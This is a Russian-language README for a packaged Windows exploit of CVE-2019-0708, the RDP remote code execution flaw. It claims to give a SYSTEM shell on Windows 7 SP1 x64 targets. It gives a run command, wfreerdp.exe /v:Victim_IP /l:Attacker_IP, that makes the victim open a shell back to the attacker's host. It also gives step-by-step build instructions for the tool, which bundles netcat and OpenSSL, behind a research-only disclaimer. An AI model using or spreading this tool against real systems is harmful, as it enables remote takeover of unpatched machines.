CVE-2019-0708-EXP-Windows-Version

Заявление

Автор POC предоставлен исключительно для исследовательских целей. Если читатель использует данный POC для других действий, автор не несёт ответственности.

Содержание

[toc]

Введение

CVE-2019-0708-EXP — отдельный исполняемый файл для Windows (exe), не требующий Linux, Python, Ruby и т.д. После запуска непосредственно в текущей консоли получает shell с правами System.

Сборка выполнена в режиме полной статической библиотеки, все DLL встроены; интегрированы netcat и OpenSSL; поддерживается индикатор прогресса и вывод shell.

Среда воспроизведения

1. Целевая система (Victim): Windows 7 SP1 x64
2. Система атакующего (Attacker): Windows 10 x64
3. Среда сборки: Visual Studio 2013

Инструкция по использованию

1. Перейдите в каталог CVE-2019-0708-EXP-Release
2. Запустите wfreerdp.exe /v:Victim_IP /l:Attacker_IP, например wfreerdp.exe /v:10.120.1.160 /l:10.120.1.17

Инструкция по установке

1. Скопируйте проект FreeRDP-master в E:\git\KernelResearch\FreeRDP-master\
2. Установите среду сборки OpenSSL или распакуйте openssl.7z в C:\openssl\, используя уже скомпилированную среду OpenSSL
3. Установите среду сборки Nasm
4. Установите cmake-3.15.3-win64-x64.msi от имени администратора
5. Добавьте C:\Program Files\CMake\bin в переменную окружения PATH
6. Перезагрузите компьютер
7. Запустите "C:\Program Files\CMake\bin\cmake.exe" E:\git\KernelResearch\FreeRDP-master\CMakeCache.txt
8. Соберите проект. Если всё ещё не хватает файлов, восстановите из FreeRDP-master-restore.7z

Инструкция по установке среды сборки OpenSSL

1. Распакуйте openssl-1.0.2s.tar.gz в C:\openssl\
2. Установите ActivePerl-5.28.1.0000-MSWin32-x64-fde9aa8a.msi
3. Добавьте C:\Perl64\bin в переменную окружения PATH
4. Откройте командную строку для собственных инструментов x64 VS2013 (находится в меню «Пуск»)
5. Запустите perl Configure VC-WIN64A
6. Выполните cd /d C:\openssl\
7. Выполните ms\do_win64a
8. Далее приступайте к сборке. Можно использовать следующие режимы. В POC используется режим статической библиотеки:
   • Сборка динамической библиотеки OpenSSL: nmake -f ms\ntdll.mak
   • Сборка статической библиотеки OpenSSL: nmake -f ms\nt.mak
   • Тестирование динамической библиотеки OpenSSL: nmake -f ms\ntdll.mak test
   • Тестирование статической библиотеки OpenSSL: nmake -f ms\nt.mak test

Инструкция по установке среды сборки Nasm

1. Установите nasm-2.14.02-installer-x64.exe от имени администратора
2. Добавьте C:\Program Files\NASM в переменную окружения PATH
3. Распакуйте три файла из nasmBuildCustomizations.rar в C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\BuildCustomizations\
4. Выберите client->common->freerdp-client в проекте, щелкните правой кнопкой мыши → «Зависимости сборки» → «Настраиваемые правила сборки», затем отметьте пункт nasm (не masm)
5. Если при выборе любого .asm файла в проекте freerdp-client в контекстном меню появится пункт «Сборка», значит среда сборки Nasm установлена успешно

Результаты работы

Размещение проекта

Моя ссылка на POC

Участие в разработке

Автор из ZheJiang Guoli Security Technology, электронная почта: [email protected]